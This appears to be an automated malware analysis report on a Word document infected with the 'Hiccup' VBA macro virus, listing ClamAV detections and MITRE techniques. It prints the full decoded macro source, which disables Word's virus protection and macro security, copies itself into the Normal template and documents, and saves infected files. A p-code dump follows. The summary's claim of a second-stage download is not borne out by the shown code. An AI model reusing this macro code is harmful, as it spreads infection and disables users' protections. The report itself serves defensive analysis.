MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro designed to disable security features and execute a payload. ClamAV detections indicate it is a known trojan. The macro attempts to modify Word security settings and inject code into the document, likely to download and execute a second-stage payload.
Heuristics 3
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6093 bytes |
SHA-256: df4ed4d08a6026219a8cd04b39734758791cac107e7a9b55e235f6f59ebf7cee |
|||
|
Detection
ClamAV:
Doc.Trojan.Onex-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "hiccup"
Attribute VB_Base = "1Normal.hiccup"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Set Code = New DataObject
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
CommandBars("Tools").Controls("Macro").Enabled = 0
If NormalTemplate.VBProject.VBComponents(1).Name = "hiccup" Then
callitn = True
Else
Set A = NormalTemplate.VBProject.VBComponents(1)
End If
If ActiveDocument.VBProject.VBComponents(1).Name = "hiccup" Then
callita = True
Else
Set A = ActiveDocument.VBProject.VBComponents(1)
saveit = True
End If
Set ab = A.CodeModule
Code.SetText hiccup.VBProject.VBComponents(1).CodeModule.Lines(1, hiccup.VBProject.VBComponents(1).CodeModule.CountOfLines)
ab.DeleteLines 1, ab.CountOfLines
ab.InsertLines 1, Code.GetText
A.Name = "hiccup"
If callitn = True And callita = True Then
If Int(Rnd * 8) = 2 Then
Call hiccup_payload
End If
End If
If saveit = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Private Sub hiccup_payload()
On Error Resume Next
Do
DoEvents
Randomize
If Int(Rnd * 10000) = 2 Then
Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMinimize
Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMaximize
End If
Loop
End Sub
' Word 97/2k - Hiccup - Psyclone X
' Processing file: /opt/analyzer/scan_staging/a65af469c6ef4c6cb5e9676abcb4dde3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/hiccup - 4778 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' SetStmt
' New <crash>
' Set Code
' Line #3:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #4:
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #5:
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' Line #6:
' LitStr 0x0000 ""
' LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' LitStr 0x0005 "Level"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' LitStr 0x0000 ""
' Ne
' IfBlock
' Line #7:
' LitDI2 0x0000
' LitStr 0x000B "Security..."
' LitStr 0x0005 "Macro"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' Line #8:
' LitDI4 0x0001 0x0000
' LitStr 0x0000 ""
' LitStr 0x003D "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"
' LitStr 0x0005 "Level"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #9:
' EndIfBlock
' Line #10:
' LitDI2 0x0000
' LitStr 0x0005 "Macro"
' LitStr 0x0005 "Tools"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' Line #11:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0006 "hiccup"
' Eq
' IfBlock
' Line #12:
' LitVarSpecial (True)
' St callitn
' Line #13:
' ElseBlock
' Line #14:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set A
' Line #15:
' EndIfBlock
' Line #16:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0006 "hiccup"
' Eq
' IfBlock
' Line #17:
' LitVarSpecial (True)
' St callita
' Line #18:
' ElseBlock
' Line #19:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set A
' Line #20:
' LitVarSpecial (True)
' St
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.